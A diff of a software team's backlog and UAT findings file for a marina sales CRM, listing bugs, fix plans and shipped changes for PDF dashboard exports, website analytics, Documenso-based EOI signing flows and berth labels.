> - **(b) Dialog-time data availability (~2-3h):** new `GET /api/v1/reports/availability?widgetIds=...&dateFrom=...&dateTo=...` endpoint returns `{ widgetId: 'ok' | 'no_data' | 'needs_window' | 'partial' }` for each requested id (lightweight presence-check queries, no full resolution). Dialog calls it on open + on date-range change; each checkbox row shows a "No data yet" / "Needs date range" muted pill next to widgets that won't render. Rep can keep them checked (they'll be silently omitted) or uncheck for clarity. Same query powers a small "{N} sections will be empty" summary line at the top of the dialog.
|
||||||
|
> - **(c) Optional polish for non-omittable widgets** (e.g. KPIs that should always render even at zero): replace "n/a" with a helpful empty-state string ("No closed deals yet — first signed contract will populate this") so even when the section IS shown, the rep understands why the cell is blank.
|
||||||
|
> - **Recommendation:** ship (a) first (most reps just want clean reports), follow up with (b) when the catalog grows further. Captured 2026-05-24 from UAT.
|
||||||
|
> - **Dashboard PDF report: hardcoded EUR currency + stale "maintenance" berth-status bucket showing 0 / 0%** — two findings UAT 2026-05-24:
|
||||||
|
> - **(a) Hardcoded EUR**: `src/lib/services/dashboard-report-data.service.ts` Revenue forecast snapshot + Pipeline value breakdown both wrote `currency: 'EUR'` regardless of the port's `ports.default_currency`. Symptom: PDF rendered "€14,672,888" on a USD-configured port (Port Nimara). **SHIPPED this session:** service reads `ports.default_currency` once at the top of `resolveDashboardReportData` and threads `portCurrency` through both money-bearing sections. Falls back to USD when null (matches schema default).
|
||||||
|
> - **(b) "maintenance" berth-status bucket**: canonical `BERTH_STATUSES = ['available','under_offer','sold']` (3 values per `src/lib/constants.ts:175`). Stale `maintenance` references rendered a "Maintenance · 0 · 0%" row in the PDF Berth Status table + a 0-value slice in the donut. **SHIPPED this session:** removed from `dashboard.service.ts:264` (service return), `dashboard-report.tsx:25-31 + 272-275 + 332` (PDF row + donut + type shape), `berth-status-chart.tsx:16+26` (dashboard donut), `occupancy-report.tsx:23+31` (defensive label/color map), `tests/unit/pdf-report-renderer.test.ts:49-55` (fixture). 'reserved' (also legacy) still has a defensive label fallback in occupancy-report — left in place since it's data-driven, not proactively rendered.
|
||||||
|
> - **Dashboard export dialog: badges look too big, especially "needs date range" wrapping to 2 lines + dialog defaults to last-30-days instead of inheriting the dashboard's active range** — _src/components/reports/export-dashboard-pdf-button.tsx:282-290 + 65-69_. Two issues caught 2026-05-24: (1) the `CHART` and `NEEDS DATE RANGE` pills use `text-[9px]` + `py-0.5` but `NEEDS DATE RANGE` word-wraps onto a second line so the visual height balloons; (2) initial dateFrom/dateTo hardcoded to last-30 even when the rep just picked Today / 7d on the dashboard. **SHIPPED this session:** badges tightened to `text-[8px] py-px leading-none whitespace-nowrap shrink-0`; ExportDashboardPdfButton accepts `initialRange?: DateRange` and dashboard-shell passes the active range through so the export dialog opens with the picker pre-filled to whatever was already in view. Also bumped the route validator's `widgetIds.max(20)` → `.max(40)` since the catalog now has 25 widgets (was throwing "Validation failed" when all sections were checked).
|
||||||
|
> - **Analytics: click-into-country drilldown across the page (world map + Top countries list + anywhere else country-keyed) — show the timeframe-scoped sessions for that country** — _src/components/website-analytics/visitor-world-map.tsx_ (`onCountryClick` already wired but copies-to-clipboard today), _src/components/website-analytics/top-list.tsx:38_ (Top countries rows render `<span>{countryName}</span>` with no click handler), _src/components/website-analytics/sessions-list.tsx_ (sessions card — needs to honor a country filter), _src/lib/services/umami.service.ts_ `getSessions(portId, range, opts)` (extend opts with `country?: string` → passed through to Umami's `/sessions` endpoint as `country` query param; v2/v3 both honour it), _src/components/website-analytics/use-website-analytics.ts_ `useUmamiSessions` (thread the country filter through). Today: country click does nothing useful in TopList; world map copies a URL to clipboard instead of navigating. User intent: clicking a country anywhere on the analytics page should scope the sessions card (and ideally other country-aware widgets) to that country for the active timeframe.
|
||||||
|
> - **Fix shape:**
|
||||||
|
> - **(a) Page-wide filter state via URL search param `?country=<ISO2>`** so the filter is shareable + survives reload. `useSearchParams` reads it; clicks set it via `router.replace({ pathname, query: { country } })`.
|
||||||
|
> - **(b) TopList country click** — when `rowKey === 'country'` (or however TopList encodes the dimension), wrap each row in a button that sets `?country=<iso>` on click. Render a subtle "→" affordance + tooltip "View sessions from <country>".
|
||||||
|
> - **(c) World-map click** — `onCountryClick={(iso) => setCountryParam(iso)}` (replaces the current clipboard-write).
|
||||||
|
> - **(d) Sessions card scopes by country** — `useUmamiSessions(range, { page, pageSize, country })` passes through. The sessions-list header gains a removable "Filtered: <flag> United States [×]" chip when active; the × clears the param.
|
||||||
|
> - **(e) Other widgets that could honour the filter** (optional, second pass): top-pages, weekly heatmap, pageviews chart — country filter scopes their queries too. Not required for v1.
|
||||||
|
> - **Effort:** ~1.5-2h. ~30 min URL-param state + chip UI. ~30 min thread `country` through service + hook. ~30 min TopList click affordance. ~15 min world-map handler swap. ~15 min test pass. Captured 2026-05-24 from UAT. **Supersedes** the earlier "VisitorWorldMap click should navigate, not copy" entry (this is the proper version of that ask).
|
||||||
|
> - **Recent Sessions card: rows not in chronological order — sort by lastAt desc + display lastAt instead of firstAt** — _src/components/website-analytics/sessions-list.tsx_. Umami's `/sessions` page isn't reliably ordered by any timestamp; client-side sort by `lastAt` desc puts the most-recently-active session at the top, and switching the displayed time from `firstAt` to `lastAt` makes the visible timestamp match the sort key. Captured 2026-05-24 from UAT — **SHIPPED this session**.
|
||||||
|
> - **InterestDocumentsTab: remove or contextualize the Generate-EOI button** — _src/components/interests/interest-documents-tab.tsx_ — the "Generate EOI" button on the Documents tab is duplicated (already lives on Overview milestone strip + EOI tab). Either remove from Documents tab entirely (cleanest), OR make it stage-aware: pre-EOI shows "Generate EOI", at reservation stage "Generate Reservation Agreement", at contract stage "Generate Sales Contract". Each branch uses either the existing template-driven path OR upload-and-place-fields (the universal flow that shipped in 552b966). Reservations + sales contracts are likely to be custom-uploaded most of the time, so the dialog must remain capable of "upload doc → place fields → send via Documenso" for any signing-doc type beyond EOI. Cross-ref: B3 universal upload-with-fields finding (covers generic flow); this entry asks for the stage-bound contextual variant. ~30-45 min for (a) remove path; ~2-3h for (b) stage-aware variant. Captured 2026-05-24 from UAT.
|
||||||
|
> - **Interest auto-assign to creator (sales-rep roles only)** — _src/lib/services/interests.service.ts_ `createInterest` — observed UAT 2026-05-24: deal-owner chip shows "Unassigned" after a super-admin creates an interest. Super-admin behaviour is correct (often acting on behalf of others), BUT for sales-rep roles (`sales_agent`, `sales_manager`) the rep should auto-claim ownership at create time. Fix shape: createInterest reads `ctx.userId` + role; when role IN sales-rep set AND `data.assignedTo` is not explicitly provided, default to ctx.userId. Optional admin setting `auto_assign_creator_to_interest` with role-list (default: enabled for sales_agent + sales_manager, off for super_admin / director / residential_partner / viewer). ~45 min - 1h including the admin toggle + audit log entry on auto-assign. Captured 2026-05-24 from UAT.
|
||||||
|
> - **FileGrid: click-to-preview on each card** — _src/components/files/file-grid.tsx:109-123_ — re-audited 2026-05-24 in the same session: the `onClick={() => onPreview(file)}` IS wired correctly on the button AND every caller (`interest-documents-tab.tsx:180+196`, `client-files-tab.tsx:98`, `company-files-tab.tsx:98`, `yacht-files-tab.tsx`) passes `setPreviewFile` and mounts `<FilePreviewDialog>`. The original "doesn't preview" symptom is most likely the file-type-coverage gap covered by the universal-file-preview Bucket 3 finding (only PDF + images render today; everything else falls through to a blank surface). Leave as-is — the click-handler half doesn't need a fix; the type-coverage half is parked under Bucket 3.
|
||||||
|
> - **EOI generation: success toast missing (especially from Overview milestone action)** — _src/components/documents/eoi-generate-dialog.tsx_ - mutation's `onSuccess` closes the dialog + invalidates queries but doesn't fire a success toast. When the rep generates the EOI from the Overview milestone action (rather than the EOI tab), they get no visible confirmation that the envelope was created and sent. Add `toast.success` mirroring the external-EOI-upload toast: "EOI generated and sent to {N} signer{plural}" - count comes from the returned envelope's recipients. Bonus: include "View EOI" in the toast that navigates to the EOI tab. ~10-15 min. Captured 2026-05-24 from UAT.
|
||||||
|
> - **Branded post-completion email not firing when Documenso webhook is unreachable (polling fallback may not exercise the email path)** — _src/jobs/processors/documenso-poll.ts_ + _src/lib/services/documents.service.ts_ `handleDocumentCompleted` + any post-completion email-fan-out hook. Observed 2026-05-24: when webhooks were misconfigured (wrong URL), Documenso's OWN built-in confirmation email went to signers but the CRM's branded confirmation (with attached signed PDF) did not - even though `signature-poll` cron runs every 5 min and DOES call `handleDocumentCompleted`. Investigation needed:
|
||||||
|
> - **(a) Does `handleDocumentCompleted` actually queue the branded confirmation email**, or is the email path wired only at the webhook receiver layer (above `handleDocumentCompleted`)? If the latter, the polling fallback closes the doc-status state but skips the email - explains the symptom.
|
||||||
|
> - **(b) If (a) is true, hoist the email-fan-out INTO `handleDocumentCompleted`** so polling and webhook paths produce identical side-effects.
|
||||||
|
> - **(c) Idempotency on both paths.** Whatever marker prevents the email double-sending (probably the existing "is_already_completed" guard in handleDocumentCompleted) needs to also gate the email send so a webhook arriving 5 min after a poll-driven completion doesn't re-fan-out.
|
||||||
|
> - **Pairs with:** the Documenso redirect-URL default finding above (operators who fall into the misconfigured-webhook trap are the ones who would notice this — fix both together so misconfiguration degrades gracefully).
|
||||||
|
> - **Effort:** ~1.5-2h. ~45 min code-trace + verification. ~30-45 min hoisting + idempotency. ~30 min vitest with a poll-driven completion verifying the email queue receives the job. Captured 2026-05-24 from UAT.
|
||||||
|
> - **LinkedBerthRowItem dimensions: drop the "D" suffix + honor user's unit preference** — _src/components/interests/linked-berths-list.tsx:~778_ (LinkedBerthRowItem render) — today shows `206.7ft L · 46.6ft W · 14.5ft D`. The "D" (Draft) is opaque to sales reps and the unit is hardcoded to ft. Drop the draft from the inline strip (it's secondary for sales context; still visible on berth detail). Render length + width in whichever unit was actually entered for the data: yacht's `lengthUnit` column when a yacht is attached, otherwise the sales rep's most-recent typed unit, with a section-level toggle to flip. Pair with the existing dual-source dimension Bucket 3 finding which proposes the same yacht/desired toggle architecture. ~30-45 min. Captured 2026-05-24 from UAT.
|
||||||
|
> - **ExternalEoiUploadDialog: prefill title from derived default + signatories from active Documenso EOI when one exists** — _src/components/interests/external-eoi-upload-dialog.tsx:59_ (`const [title, setTitle] = useState('')` — starts empty even though `defaultTitle` at :110 already builds `"External EOI - {Client} - {berths} - {date}"`) + _:65-99_ (signatories seeding only adds one row from `interestData.clientName/primaryEmail`, ignores any existing Documenso EOI's signer list — which is right there at `useQuery(['documents', doc.id, 'signers'])` in the parent EOI tab `interest-eoi-tab.tsx:255-264`). Today's UX gaps the rep notices in the upload-signed-copy flow:
|
||||||
|
> - **(a) Title field renders empty** even though the dialog already has all the data to derive a sensible default. `defaultTitle` is computed and used as a fallback when the rep leaves the input blank on submit, but reps think "the field is empty, I need to type something" and don't realize a default is silently inserted at submit time. Fix: init the input value from `defaultTitle` once `interestData` + `berthsData` resolve (single effect that flips state from blank → derived default, only if the rep hasn't typed anything yet — gate on `title === ''` to avoid clobbering typed input). Apply **regardless of whether an active EOI exists** (user's "either way" framing).
|
||||||
|
> - **(b) Signatories seed from active EOI's signers when present**, not just the interest's client. Parent EOI tab already loads `signers` (the `useQuery(['documents', doc.id, 'signers'])` block that powers ActiveEoiCard + SigningProgress) — the cheapest path is to thread the active EOI's signer list through as a prop: `<ExternalEoiUploadDialog prefillSignatories={activeEoi ? signers.map(...) : undefined} />`. Dialog's `signatories` useMemo updates: if `prefillSignatories` is set AND `signatoriesOverride === null`, return the prefill; else fall through to the existing client-only seed. Maps each Documenso signer's `signerName/signerEmail/role` to a `SignatoryRow`, normalizing the role union (`'SIGNER'` → `'client' | 'developer' | 'rep' | 'witness' | 'cc'` based on the documenso-side role hint or position; if normalization is ambiguous, default to `'witness'` and let the rep correct).
|
||||||
|
> - **(c) Cross-ref:** pairs cleanly with the Bucket 2 "auto-cancel generated EOI when external uploaded" finding — the rep is told "this will replace the generated EOI" AND sees the existing signatories pre-filled, so they don't have to retype names/emails for 3 signers when the data is right there.
|
||||||
|
> - **Effort:** ~30-45 min total. ~5 min title pre-fill (single effect or initial-state-from-prop pattern). ~20-30 min signatory prefill prop + role normalization. ~10 min vitest covering the two prefill paths + the "rep edited then re-opens" cache behaviour. Captured 2026-05-24 from UAT.
|
||||||
|
> - **Interest form: auto-select yacht after creating one via the inline YachtForm modal** — _src/components/interests/interest-form.tsx:789-794_ — the inline yacht-create modal mounts `<YachtForm initialOwner={...} />` but doesn't pass an `onCreated` callback, even though YachtForm already supports one (`yacht-form.tsx:78` — `onCreated?: (yacht: { id; name }) => void | Promise<void>`). When the rep creates a yacht from inside the interest form, the modal closes and the YachtPicker stays empty — the rep then has to find their just-created yacht in the dropdown and select it. Trivial fix: pass `onCreated={(y) => setValue('yachtId', y.id, { shouldDirty: true })}`. Mirrors the same auto-select pattern used elsewhere for inline client-create flows. ~3 min. Captured 2026-05-24 from UAT.
|
||||||
|
|
||||||
1. **Dev-mode banner dismissible** — _src/components/shared/dev-mode-banner.tsx:23_ — added X close button + localStorage persistence keyed by redirect address. Fixed in this session.
|
1. **Dev-mode banner dismissible** — _src/components/shared/dev-mode-banner.tsx:23_ — added X close button + localStorage persistence keyed by redirect address. Fixed in this session.
|
||||||
2. **KPI tile top padding collapsing at ≥640px** — _src/components/dashboard/{pipeline-value,active-deals}-tile.tsx_ — shadcn `CardContent` default `sm:pt-0` (assumes a `CardHeader` above) was overriding the tile's `pt-5`. Added `sm:pt-5 sm:pb-5`. Fixed in this session.
|
2. **KPI tile top padding collapsing at ≥640px** — _src/components/dashboard/{pipeline-value,active-deals}-tile.tsx_ — shadcn `CardContent` default `sm:pt-0` (assumes a `CardHeader` above) was overriding the tile's `pt-5`. Added `sm:pt-5 sm:pb-5`. Fixed in this session.
|
||||||
@@ -146,6 +252,9 @@ _Copy tweaks, alignment, single-prop edits, obvious typos._
|
|||||||
- Service docstring updated to cite the verified v3 endpoint behaviour + the flat-shape rationale so the next reader doesn't repeat the v1-nested mistake.
|
- Service docstring updated to cite the verified v3 endpoint behaviour + the flat-shape rationale so the next reader doesn't repeat the v1-nested mistake.
|
||||||
- `tsc --noEmit` clean. Verified live: dashboard tile + website-analytics page both render 2,081 pageviews / 726 visitors / 872 visits / 457 bounces over 30d (the real numbers from analytics.portnimara.com). Fixed in this session.
|
- `tsc --noEmit` clean. Verified live: dashboard tile + website-analytics page both render 2,081 pageviews / 726 visitors / 872 visits / 457 bounces over 30d (the real numbers from analytics.portnimara.com). Fixed in this session.
|
||||||
16. **Revenue Breakdown widget removed end-to-end** — _src/components/dashboard/{revenue-breakdown-chart.tsx (deleted), widget-registry.tsx, use-analytics.ts}_, _src/app/api/v1/analytics/route.ts_, _src/lib/services/analytics.service.ts_, _tests/integration/analytics-service.test.ts_ — the "Revenue Breakdown" tile (bar chart of invoice totals by status × currency) wasn't aligned with how the org uses invoicing (no client-facing invoicing through the system — only employee expense-sheet PDFs for trip reimbursement) and was redundant once the Pipeline Value tile shipped with a weighted forecast + per-stage breakdown. Removed: widget file, dynamic import, registry entry, `useRevenue` hook, `RevenueBreakdownData` type, `MetricBase` union member, `ALL_METRICS` entry, `SnapshotData` union member, `getRevenueBreakdown` + `computeRevenueBreakdown` service functions, `refreshSnapshotsForPort` revenue branch, route dictionary entry, integration test. `RevenueReportPdf` (separate code path for the reports module) intentionally kept. `tsc --noEmit` clean. Fixed in this session.
|
16. **Revenue Breakdown widget removed end-to-end** — _src/components/dashboard/{revenue-breakdown-chart.tsx (deleted), widget-registry.tsx, use-analytics.ts}_, _src/app/api/v1/analytics/route.ts_, _src/lib/services/analytics.service.ts_, _tests/integration/analytics-service.test.ts_ — the "Revenue Breakdown" tile (bar chart of invoice totals by status × currency) wasn't aligned with how the org uses invoicing (no client-facing invoicing through the system — only employee expense-sheet PDFs for trip reimbursement) and was redundant once the Pipeline Value tile shipped with a weighted forecast + per-stage breakdown. Removed: widget file, dynamic import, registry entry, `useRevenue` hook, `RevenueBreakdownData` type, `MetricBase` union member, `ALL_METRICS` entry, `SnapshotData` union member, `getRevenueBreakdown` + `computeRevenueBreakdown` service functions, `refreshSnapshotsForPort` revenue branch, route dictionary entry, integration test. `RevenueReportPdf` (separate code path for the reports module) intentionally kept. `tsc --noEmit` clean. Fixed in this session.
|
||||||
|
17. **Finish CountryFlag rollout — table + filter surfaces** — _src/components/shared/country-flag.tsx (shipped this session)_ + _src/components/clients/client-columns.tsx:173_ (nationality column cell — currently renders bare ISO code; should prefix with `<CountryFlag>`) + _src/components/clients/client-filters.tsx_ (nationality filter pill — render flag next to selected country name) + _src/components/yachts/yacht-form.tsx_ (flag the yacht's country if surfaced anywhere outside the CountryCombobox transitive path) + audit any remaining `flagEmoji` or `0x1f1e6` codepoint references with `rg -n "0x1f1e6\|flagEmoji"` → expected 0 hits. Shipped this session: country-combobox + inline-country-field + addresses-editor (replaced existing emoji glyphs, which never rendered on Windows) and added flags to clients-by-country-widget / client-card / client-detail-header / website-analytics realtime + sessions + session-detail. Library: `country-flag-icons` (MIT, ~1-2 KB per flag, dynamically imported on first render, cached). Effort: ~30 min for the remaining surfaces. Captured 2026-05-22 from UAT.
|
||||||
|
- **SHIPPED in this session:** client-columns nationality cell now renders flag + name. client-filters is a free-text input (no rendered chip surface to flag). No yacht country rendering exists outside CountryCombobox. Final `rg "0x1f1e6\|flagEmoji"` returns 0 hits.
|
||||||
|
- **Follow-up fix in this session:** the original `CountryFlag` used a template-string dynamic import (`import('country-flag-icons/string/3x2/${code}')`), which silently fails in Next.js's webpack because the package's `exports` field gates each subpath. Symptom: every flag rendered as the muted placeholder box. Replaced with a single lazy `import('country-flag-icons/string/3x2')` that loads the whole index once (~1.6 MB raw / ~400 KB gzip, single chunk shared across the app), caches on a module-level promise, and lookups become synchronous after first render.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -515,12 +624,114 @@ _Component refactors, multi-file edits, single-service tweaks, new validators._
|
|||||||
> Total ~2.5-3 h end-to-end. Closes the multi-berth EOI discoverability gap (plan §1 + §4.6) and matches the documented workflow expectation that public map visibility is a _subset_ of EOI bundle coverage.
|
> Total ~2.5-3 h end-to-end. Closes the multi-berth EOI discoverability gap (plan §1 + §4.6) and matches the documented workflow expectation that public map visibility is a _subset_ of EOI bundle coverage.
|
||||||
>
|
>
|
||||||
> **SHIPPED (a) in 05e727f:** `addInterestBerth` defaults flipped: `is_in_eoi_bundle: true`, `is_specific_interest: matches isPrimary`. (b) `linked-berths-list.tsx` rename + tooltip shipped in PR10. **(c) SHIPPED in ef37901:** EoiGenerateDialog gains an "EOI scope" section listing every linked berth with "In EOI" + "Public map" checkboxes; handleGenerate diffs vs server snapshot and PATCHes only changed rows in parallel before kicking off the envelope. Cache invalidation extended to `['interests', id, 'berths']` so LinkedBerthsList stays consistent.
|
> **SHIPPED (a) in 05e727f:** `addInterestBerth` defaults flipped: `is_in_eoi_bundle: true`, `is_specific_interest: matches isPrimary`. (b) `linked-berths-list.tsx` rename + tooltip shipped in PR10. **(c) SHIPPED in ef37901:** EoiGenerateDialog gains an "EOI scope" section listing every linked berth with "In EOI" + "Public map" checkboxes; handleGenerate diffs vs server snapshot and PATCHes only changed rows in parallel before kicking off the envelope. Cache invalidation extended to `['interests', id, 'berths']` so LinkedBerthsList stays consistent.
|
||||||
|
>
|
||||||
|
> - **LinkedBerthsList: post-EOI UI changes — lock EOI-bundle toggle + add "In EOI" badge + let manual upload pick signed berths** — _src/components/interests/linked-berths-list.tsx:641+_ (the card body), _src/components/interests/external-eoi-upload-dialog.tsx_ (currently has no berth-scope step). Today the LinkedBerthsList always renders both toggles (Include in EOI + Public map status) regardless of whether the EOI is sent or signed — so a rep can still flip "Include in EOI" on a deal whose envelope is already mid-signing or signed, which is meaningless (signature scope is locked in the Documenso envelope's actual signed berths) and noisy.
|
||||||
|
> - **Fix shape:**
|
||||||
|
> - **(a) Hide / disable "Include in EOI" once the EOI is sent or signed.** When `eoiStatus IN ('sent', 'signed')` OR `eoiDocStatus IN ('sent', 'signed')`, replace the toggle with a static "Included in EOI ✓" / "Not in EOI -" badge (read-only). Keep the public-map toggle editable — under-offer / reserved mutates after EOI too.
|
||||||
|
> - **(b) Per-row "In EOI" badge** on every berth that was actually in the signed/generated envelope. Source of truth: the existing `is_in_eoi_bundle` snapshot at envelope-create time (we'd lock those rows on EOI generate; the post-generate UI just reads them). Subtle pill at the row's right edge so the rep can see at a glance which berths the signed document covers.
|
||||||
|
> - **(c) External EOI upload dialog: berth scope step.** Today's ExternalEoiUploadDialog doesn't ask which berths were signed - it implicitly assumes all linked interest berths. Add a step: list every linked berth as a checkbox row (defaulting to all checked), let the rep uncheck any that weren't on the signed paper, AND let the rep add berths NOT currently on the interest (with a small picker that links + flags `is_in_eoi_bundle=true` in one shot). On submit, the service writes both the document row AND the per-berth EOI-scope snapshot, mirroring the locked behaviour of the generated path.
|
||||||
|
> - **Effort:** ~4-6h end-to-end. ~1h (a) toggle visibility gate + read-only badges. ~1-1.5h (b) per-row "In EOI" badge. ~2-3h (c) ExternalEoiUploadDialog berth-scope step + service writeback + berth-add picker. ~30 min vitest covering "lock once sent". Captured 2026-05-24 from UAT.
|
||||||
|
> - **OverviewTab "Berth size desired" section: ft/m toggle + display attached yacht's dimensions inline (edit-back to yacht record)** — _src/components/interests/interest-tabs.tsx_ (OverviewTab "Berth size desired" block) + _src/components/yachts/_ (yacht-update service / inline-editable hook). The section was supposed to have a ft/m toggle defaulting to whichever unit was originally entered (per yacht's `lengthUnit` when attached, OR the rep's last typed unit). The toggle isn't present. Additionally, the linked yacht's actual dimensions aren't shown in this section — so the rep can't see "boat is 60ft × 18ft × 5ft" while typing desired-dim values for berth shopping. Both should be displayed at a glance, and yacht-dim values should be inline-editable here with the edit propagating back to the yacht record (single source of truth — yacht stays canonical).
|
||||||
|
> - **Pairs with:** the existing Bucket 3 dual-source dimension finding which covers the persisted source-of-truth picker. This entry is the OverviewTab UI half of the same architecture.
|
||||||
|
> - **Effort:** ~1.5-2h. ~30 min unit-toggle + default-from-data resolver. ~30-45 min yacht-dim row render. ~30-45 min inline-edit wired back through the yacht service. Captured 2026-05-24 from UAT.
|
||||||
|
> - **Multi-berth interest label sweep — every "Berth X" surface should render the full berth-range label (`A1-A3, B5`), not just the primary mooring** — _new helper_ `src/lib/templates/interest-berth-label.ts` (`deriveInterestBerthLabel(string[]) → string | null`, reuses `formatBerthRange`, truncates to "first + N more" when >5 segments) + _src/lib/services/interest-berths.service.ts_ (new `getAllBerthMooringsForInterests` batch aggregator) + _src/lib/services/interests.service.ts_ (extend BoardInterestRow + listInterests row shape with `berthMoorings: string[]`) + render-site sweep across every place the interest's identity is named:
|
||||||
|
> - **Sites to update (mapped from grep audit):** `src/components/interests/interest-detail-header.tsx:188-196` (the header user explicitly called out), `interest-card.tsx:55`, `pipeline-card.tsx:52-53` (kanban), `interest-columns.tsx:171-184` (list view), `interest-detail.tsx:135` (breadcrumb), `clients/client-pipeline-summary.tsx:187-188 + 301-302` (per-client deal rows), `clients/client-interests-tab.tsx:42-43 + 204-205`, `yachts/yacht-tabs.tsx:323-325` (yacht's deals tab), `search/search-result-item.tsx:68` + `search/command-search.tsx:970`, `shared/interest-picker.tsx:74`, `shared/berth-picker.tsx:126`.
|
||||||
|
> - **Strategy:** thread `berthMoorings: string[]` through every list endpoint that returns interest rows; render sites compute `deriveInterestBerthLabel(row.berthMoorings)` instead of reading bare `berthMooringNumber`. Bare primary mooring stays available for berth-FK queries that don't need the label (smart-archive, send-berth-pdf etc.). PDF templates (`client-summary.tsx`, `interest-summary.tsx`) also threaded.
|
||||||
|
> - **Effort:** ~3-4h. ~30 min helper + aggregator. ~30 min list-endpoint shape extension (BoardInterestRow + InterestRow). ~2-3h render-site sweep (~10-12 surfaces). ~30 min vitest covering helper truncation rules + service shape. Captured 2026-05-24 from UAT — IN-FLIGHT (this session).
|
||||||
|
> - **External EOI upload while a generated EOI is active: auto-cancel + replace (single source of truth for "the" EOI on an interest)** — _src/components/interests/external-eoi-upload-dialog.tsx_ (the entry surface) + _src/lib/services/documents.service.ts (markExternallySigned + cancelDocument)_ + _src/lib/services/documenso-client.ts (voidDocument)_. Today the upload-signed-copy path doesn't reconcile with a live generated EOI — the rep ends up with two EOI records on the interest (the in-flight Documenso envelope + the newly-uploaded externally-signed PDF), which compounds reporting noise, audit-log confusion, and the empty-tab dual-state problem. Pairs with the Bucket 4 bug (blank body on upload-signed-copy when active EOI exists).
|
||||||
|
> - **Fix shape:**
|
||||||
|
> - **(a) Detect-and-warn at dialog open:** when `ExternalEoiUploadDialog` mounts for an interest that already has a non-terminal generated EOI (status in `sent` / `partially_signed`), show a warning banner at the top: "An EOI generated on {date} is currently in flight. Uploading a signed copy will cancel the generated envelope and replace it with the upload." + a primary "Cancel & replace" button + a secondary "Keep both (legacy behaviour)" toggle (off by default, hidden behind an Advanced disclosure — most reps shouldn't need it).
|
||||||
|
> - **(b) Replace-mode service behaviour:** when the rep proceeds, the service runs in this order inside a transaction: (i) call `cancelDocument({ documentId: activeEoi.id, cancelMode: 'delete' })` to void the Documenso envelope + flip local row to `cancelled`; (ii) run the existing `markExternallySigned` flow with the uploaded file; (iii) emit one combined audit log entry ("EOI replaced by external upload — generated envelope {id} cancelled, external file {fileId} attached"). Idempotent: if there are multiple non-terminal generated EOIs (shouldn't happen but defensive), cancel all of them.
|
||||||
|
> - **(c) Edge cases:**
|
||||||
|
> - Generated EOI is already `partially_signed` (one or more signers signed) — warn explicitly: "1 of 3 signers has already signed the generated EOI. Cancelling will lose their digital signature record." Require a typed confirmation ("REPLACE") to proceed. The signing history stays in `audit_logs` even after cancel, but the Documenso-side proof is gone.
|
||||||
|
> - Generated EOI is already `completed` (fully signed via Documenso) — block the replace path entirely. Toast: "This EOI is already signed via Documenso. There's no need to upload an external copy." (The "Mark externally signed without file" path should also be blocked in this state — verify.)
|
||||||
|
> - Generated EOI is `cancelled` or `rejected` — no warning needed; proceed with the upload as today (empty-state path).
|
||||||
|
> - **(d) Audit-trail clarity:** the activity feed entry for the replace should link back to the cancelled-document ID so the rep can dig into why the replace happened later. Not critical, but useful for the "what happened to that EOI" question.
|
||||||
|
> - **Acceptance:**
|
||||||
|
> - Rep with an active generated EOI clicks "Upload signed copy" → sees the warning banner with the pending EOI's metadata (date + signed/total signers).
|
||||||
|
> - Confirming replace: generated envelope voided, external file uploaded + linked, doc status flips to `signed`, only ONE EOI row remains active on the interest. Activity feed shows the replace as a single event with cross-link to the cancelled envelope.
|
||||||
|
> - Already-completed EOIs block the path entirely with a clear toast.
|
||||||
|
> - Partially-signed EOIs require explicit typed confirmation.
|
||||||
|
> - **Effort:** ~2-3h. ~30 min dialog warning banner + active-EOI lookup. ~45 min service replace path (cancel + mark-externally-signed in transaction + combined audit entry). ~30 min completed/partially-signed gate copy + UX. ~30 min activity feed cross-link. ~30-45 min vitest covering the 4 states (no active EOI / pending / partially-signed / completed). Captured 2026-05-24 from UAT. **Pairs with:** Bucket 4 bug "Upload signed copy on ActiveEoiCard renders blank body" — same workflow, same surface area; ship them together so the same QA pass covers both.
|
||||||
|
> - **Documenso post-sign redirect URL: change default from blank → port's marketing site (today blank lets Documenso fall back to CRM login)** — _src/lib/settings/registry.ts:248-260_ (existing `documenso_redirect_url` registry entry — port-scoped, type `url`, NO `defaultValue`) + _src/lib/services/documenso-payload.ts:128_ (`DEFAULT_REDIRECT_URL = ''` — when the per-port setting is unset, the payload sends an empty redirect, which causes Documenso to fall back to its own configured default — for the operator that lands on the CRM login) + _src/lib/settings/registry.ts:502_ (existing `public_site_url` setting — port-scoped marketing site URL, already in the registry). Today the admin CAN set `documenso_redirect_url`, but most operators don't realize they need to, leaving it blank, which lands every signer on the CRM login post-signing. Signers are clients, not CRM users — they shouldn't be looking at our login.
|
||||||
|
> - **Fix shape:**
|
||||||
|
> - **(a) Default resolution in the payload builder.** `documenso-payload.ts:322` currently does `options.redirectUrl ?? DEFAULT_REDIRECT_URL` (= `''`). Replace with a small resolver: per-port `documenso_redirect_url` → per-port `public_site_url` → empty (Documenso's own fallback). The marketing-site default kicks in automatically for every port where the operator has set `public_site_url` (which is most of them — see registry:502 "Used by some templates and CTAs").
|
||||||
|
> - **(b) Surface the resolved value in the admin UI.** The Documenso settings card already routes through the unified registry-driven form, which surfaces env-fallback / port-override badges per field via `/api/v1/admin/settings/resolved` (per the e33313b ship). Extend the resolver chain handling for `documenso_redirect_url` so the admin sees "Using `public_site_url`: https://example.com" as the inline source-of-truth note when no explicit override is set. Eliminates the "I set the marketing site URL, why are signers still landing on the CRM login?" diagnosis loop.
|
||||||
|
> - **(c) Description copy:** existing description ("Where signers land after completing their signature. Both v1 and v2 honour it.") gets one extra clause — "When blank, falls back to the port's public marketing site (Public site URL setting); when both are blank, signers land on Documenso's own default (typically the CRM login — not recommended)."
|
||||||
|
> - **Note on "for each party":** Documenso's `meta.redirectUrl` is **document-level**, not per-recipient — all parties hit the same URL post-signing. The current ask matches that shape (one URL, applied to all signers); if per-signer-role redirects are needed later (e.g. client → marketing, developer/approver → an internal "thanks" page), that's a separate Documenso API capability worth investigating but not in scope here.
|
||||||
|
> - **Effort:** ~30-45 min. Resolver in payload builder + small admin UI source-of-truth note + a vitest covering the three resolution states (port override / public_site_url fallback / both blank). Captured 2026-05-24 from UAT.
|
||||||
|
